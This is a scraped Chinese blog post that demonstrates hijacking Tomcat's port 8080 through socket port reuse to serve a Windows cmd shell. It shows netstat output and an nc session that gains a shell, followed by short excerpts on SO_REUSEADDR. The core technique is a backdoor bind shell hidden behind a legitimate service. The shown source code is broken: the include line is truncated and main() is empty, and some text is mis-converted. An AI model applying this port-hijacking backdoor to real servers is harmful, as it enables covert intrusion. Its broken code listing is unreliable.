埠重用開啟cmdshell

2021-06-16 22:36:20 字數 1387 閱讀 1847

要重用的埠是tomcat的預設http埠8080。

源**:

#include #pragma comment(lib, "ws2_32.lib")

#define listen_port 8080

int main()

此時,已經啟動tomcat,可以通過來訪問tomcat主頁。

執行此程式時,如果沒有重用埠,繫結到8080埠會失敗。但是因為此程式重用了埠,所以還是成功的。

用netstat看一下:

d:\>netstat -an | find "8080"

tcp 0.0.0.0:8080 0.0.0.0:0 listening

tcp 127.0.0.1:8080 0.0.0.0:0 listening

d:\>

看到有2個8080在監聽。

case 1:此時如果用瀏覽器開啟tomcat主頁,是打不開的,會顯示白色的頁面,而且程式已經結束執行。

case 2:此時如果用nc去連,是可以開啟cmdshell的:

d:\>nc 127.0.0.1 8080

microsoft windows xp [版本 5.1.2600]

d:\my documents\visual studio 2010\projects\hacker\05_4>dir

dir 驅動器 d 中的卷是 本地磁碟

卷的序列號是 6c97-9e44

d:\my documents\visual studio 2010\projects\hacker\05_4 的目錄

2013-07-22 22:55 .

2013-07-22 22:55 ..

2013-07-22 23:09 1,011 05_4.cpp

2013-07-22 22:53 3,916 05_4.vcxproj

2013-07-22 22:53 942 05_4.vcxproj.filters

2013-07-22 22:36 143 05_4.vcxproj.user

2013-07-22 23:09 release

4 個檔案 6,012 位元組

3 個目錄 34,079,305,728 可用位元組

d:\my documents\visual studio 2010\projects\hacker\05_4>exit

exit

d:\>

套接字 實現埠重用

假如埠被socket使用過,並且利用socket.close 來關閉連線,但此時埠還沒有釋放,要經過乙個time wait的過程之後才能使用,這是tnn的相當煩銀的,為了實現埠的馬上覆用,可以選擇setsockopt 函式來達到目的。以下是網上找到的一篇文章的一小段相關例子,試用之後,相當有效果,特...

埠重用 如何解除bind繫結

我找的關於setsockopt的資料 1.如果在已經處於 established狀態下的socket 一般由埠號和標誌符區分 呼叫 closesocket 一般不會立即關閉而經歷time wait的過程 後想繼續重用該socket bool breuseaddr true setsockopt s,...

學習筆記 socket關於埠重用的學習

這兩天想搭建乙個c2c伺服器的模型,一開始是想用c寫,結果c的各種細節寫的人太煩躁了,就換成了python,原來n百行的 瞬間變成了幾十行,世界一下子就清淨了 這是後話,此文主要是記錄一下埠重用的問題。之前寫socket經常在除錯時候,每次重啟服務端都會在bind時候報錯 埠被占用 這是因為bind...